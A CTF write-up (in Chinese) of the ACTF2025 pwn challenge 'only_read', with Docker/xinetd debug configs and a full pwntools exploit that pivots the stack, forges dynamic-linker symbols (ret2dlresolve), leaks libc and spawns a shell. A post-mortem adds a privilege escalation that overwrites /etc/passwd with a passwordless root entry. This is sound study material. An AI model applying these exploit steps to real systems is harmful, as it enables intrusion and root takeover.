ACTF2025 - only_read

ACTF2025 - only_read

RocketDev

本次ACTF2025我们0RAYS最后取得第7名,pwn方向差点爆零。

文件属性

属性
Arch amd64
RELRO Partial
Canary off
NX on
PIE off
strip no
libc 2.39-0ubuntu8.4

解题思路

整个程序非常简单,main就构造了一个很大的栈溢出,也没啥gadget,但至少没开PIE。 一旦能打栈迁移到bss,就有机会打dl_resolve,实现任意符号解析(但是控制不了参数)。

第一步控制rbp到bss上,第二步向bss上读入要伪造的符号和rop链再次读入, 第三步执行伪造的write泄露libc并把open shell的rop链写到bss上,执行拿shell。

第一步和第三步都没啥好说的,唯一比较麻烦的就是符号伪造。 还好我以前做过类似的题, 可以用来借鉴。

原博客对于reloc_arg的描述有误,它是相对于__DT_JMPREL的, 不是相对于__DT_SYMTAB,现已更新。

这次我采用了人工构造的方式去伪造一个write符号,即Elf64_SymElf64_Rela, 接下来将图解我构造的结构体:

payload struct

fake_symfake_rel需要分别对齐到从symtabjmprel开始的0x18边界上, 否则_dl_fixup不能正确读取我们的伪造的符号。可以看以下代码中的test_offsets做参考。

当开始执行plt_init时,就会运行_dl_runtime_resolve_xsavec,随后执行_dl_fixup, 将我们伪造的各种数据作为参数开始解析write函数并运行,如下图所示:

lookup symbol

由于在执行write前,write@libc就会被写入,因此执行时就会泄露libc, 之后再次读入payload时就可以构造execl("/bin/sh", "/bin/sh", NULL)打开shell。

在这个过程中,rdirdx保持不变,因此会输出很多字节;由于对于远程来说, fd = 0fd = 1是完全一致的,都是socket,就像直接在终端打开,都是/dev/pts/1, 因此,fd = 0既可以读也可以写。但是pwntools不一样,使用process打开进程, fd = 0会指向一个无名管道,而这个管道只能读不能写,因此向fd = 0write数据不可行。 为了避免这个问题,我采用了用docker起一样的libc环境,然后由 xinetd 起一个 gdbserver, 这样就可以实现远程调试。具体见我StackLogout的出题博客

docker调试相关文件
ctf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
service ctf
{
disable = no
socket_type = stream
instances = 30
protocol = tcp
wait = no
user = ctf
type = UNLISTED
port = 2049
bind = 0.0.0.0
server = /usr/bin/timeout

server_args = 300 /home/ctf/only_read

log_type = FILE /var/log/ctf.xinetd.log
log_on_success = DURATION HOST
log_on_failure = HOST
banner_fail = /etc/banner_fail

# safety options
per_source = 10 # the maximum instances of this service per source IP address
rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use
rlimit_as = 4096M # the Address Space resource limit for the service
# access_times = 2:00-9:00 12:00-24:00
}
debug
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
service debug
{
disable = no
socket_type = stream
instances = 30
protocol = tcp
wait = no
user = ctf
type = UNLISTED
port = 3073
bind = 0.0.0.0
server = /usr/bin/gdbserver

server_args = 0.0.0.0:4097 /home/ctf/only_read

log_type = FILE /var/log/debug.xinetd.log
log_on_success = DURATION HOST
log_on_failure = HOST
banner_fail = /etc/banner_fail

# safety options
per_source = 10 # the maximum instances of this service per source IP address
rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use
rlimit_as = 4096M # the Address Space resource limit for the service
# access_times = 2:00-9:00 12:00-24:00
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM ubuntu:24.04

RUN sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list.d/ubuntu.sources && \
sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list.d/ubuntu.sources
RUN apt update && apt upgrade -y
RUN apt install xinetd gdbserver -y
RUN useradd -m ctf -s /bin/sh

WORKDIR /home/ctf
COPY ./only_read .
COPY ./start.sh .
COPY ./ctf ./debug /etc/xinetd.d/

RUN chmod 755 ./only_read ./start.sh

EXPOSE 2049 3073 4097
CMD ["./start.sh"]
start.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
if [[ "z${FLAG}z" == "zz" ]]; then
FLAG="ACTF{test_flag}"
fi
echo $FLAG > flag
echo $FLAG > /flag
chmod 644 flag /flag
unset FLAG

echo "Failed xinetd" > /etc/banner_fail

service xinetd start
sleep infinity

patchelf会改变strtab和symtab

当我起了容器开始调试以后,突然发现在本地能打的脚本远程突然就打不了了, 一看是strtabsymtab变了。原来在patchelf的时候,strtabsymtab会变化, 变得更低一些。也是因为这个原因,patch过的人和没patch的人脚本就不一样, 所以官方靶机布置了4个,我由于在docker里还原了libc,跑的程序就没patch, 本地能跑通的脚本,放到远程只有3号机可以,其他均不行。

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
EXE = './only_read'

def payload(lo: int):
global t
if lo:
if lo & 2:
t = remote('127.0.0.1', 3073)
gdb.attach(('127.0.0.1', 4097),
'''
dir /usr/src/debug/glibc-2.39/
tb *0x40115e
c
''',
EXE)
else:
t = remote('127.0.0.1', 2049)
else:
t = remote('1.95.129.168', 9999)
t.recvuntil(b'`')
cmd = t.recvuntil(b'`', drop=True)
proof = process(cmd.split())
proof.recvuntil(b'stamp: ')
t.send(proof.recv())
proof.close()
t.recvuntil(b'Here is your challenge')
success('Proof of Work passed!')

def delay():
if lo & 2:
pause()
else:
sleep(0.5)

# interupt when this script is not working
def failure(msg: str):
if b'chroot' in t.recv():
log.failure(msg)
t.close()

def test_offsets(symidx: float, relidx: float) -> bool:
no_mismatch = True
if symidx > int(symidx):
log.failure('SYM_OFFSET couldn\'t meet symtab[ELFW(R_SYM)(reloc->r_info)]!')
no_mismatch = False
if relidx > int(relidx):
log.failure('REL_OFFSET couldn\'t meet l_info[DT_JMPREL] + reloc_arg!')
no_mismatch = False
return no_mismatch

libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.39-0ubuntu8.4_amd64/libc.so.6')
elf = ELF(EXE)
# to write 0x800 bytes, buf + count must be accessible, so + 0x880 is maximum
bss = (elf.bss() & ~0xfff) + 0x800
read_raw = 0x401142
dl_resolve = 0x401020

strtab = 0x400430
symtab = 0x4003d0
jmprel = 0x4004e0

# Payload 1: re-read to pivot stack to bss section
read_to_bss = flat(b'0' * 0x80, bss, read_raw)
t.send(read_to_bss)
delay()

# Payload 2: fake Elf64_Sym and Elf64_Rela to misuse dl_resolve,
# store write@libc on bss and then write it to leak libc,
# then re-read to perform ret2libc
SYM_OFFSET = 0x18
SYM_INDEX = (bss - 0x80 + SYM_OFFSET - symtab) / 0x18
REL_OFFSET = 0x38
REL_INDEX = (bss - 0x80 + REL_OFFSET - jmprel) / 0x18
fake_sym = flat({
0: b'write', # symbol name

# Elf64_Sym
SYM_OFFSET: [
bss - 0x80 - strtab, # st_name, offset from strtab to "write"
# rest members of Elf64_Sym is 0
],

# Elf64_Rela
REL_OFFSET: [
bss - 8, # r_offset, where to write write@libc
7 | (int(SYM_INDEX) << 32), # r_info
# r_append in Elf64_Rela is 0
],

# to re-read, reset rbp is needed. do not impact read@libc stack frame
0x80: bss - 0x100,
# rop chain
0x88: [
dl_resolve,
int(REL_INDEX),
read_raw,
],
}, filler=b'\0')
assert test_offsets(SYM_INDEX, REL_INDEX), 'At least one offset is wrong'
t.send(fake_sym)
try:
t.recvuntil(b'write'.ljust(8, b'\0')) # align
except EOFError:
# NOTE: patchelf'ed elf has different strtab and symtab, which may lead to crash
failure('Failed to leak libc!')
return
libc_base = u64(t.recv(0x78)[-8:]) - libc.symbols['write']
success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}'))
libc.address = libc_base
delay()

# Payload 3: call execl("/bin/sh", "/bin/sh", NULL) to get a shell
gadgets = ROP(libc)
rdx_set_0_addr = libc_base + 0x116114 # xor edx, edx; call rax
sh_addr = next(libc.search(b'/bin/sh'))
call_execl = flat(b'\0'.ljust(0x88, b'\0'),
gadgets.rax.address, libc.symbols['execl'],
gadgets.rdi.address, sh_addr,
gadgets.rsi.address, sh_addr,
rdx_set_0_addr)
t.send(call_execl)

t.clean()
t.interactive()
t.close()

flag

赛后复盘

当初我还纳闷为啥 arandom 这么一道内核题怎么有这么多队出,看了星盟的博客, 原来是非预期。/的uid是1000,我们可以mv /etc 1; mkdir /etc来替换etc文件夹, 然后echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd来完成passwd替换, 就可以直接su bash提权了...属实没想到,点竟然在根目录的权限设置上。

使用find / -user 1000 ! -path '/proc/*'可以找用户为1000的文件, 并排除proc目录下的文件。

还有AFL sandbox,沙箱中允许了shmat,同时afl-fuzz调用了shmget, 我还以为是要打共享的数据,搞了半天侧信道就可以了,有点无语...明明看题的时候又想到。

参考

  1. newstar2023 week3 - dlresolve - RocketDevlog
  2. 赛博杯新生赛 2024 - StackLogout 出题博客 - RocketDevlog
  3. ACTF2025 Writeup - 星盟安全团队
  • 标题: ACTF2025 - only_read
  • 作者: RocketDev
  • 创建于 : 2025-04-27 22:29:00
  • 更新于 : 2025-04-27 22:29:00
  • 链接: https://rocketma.dev/2025/04/27/only_read/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论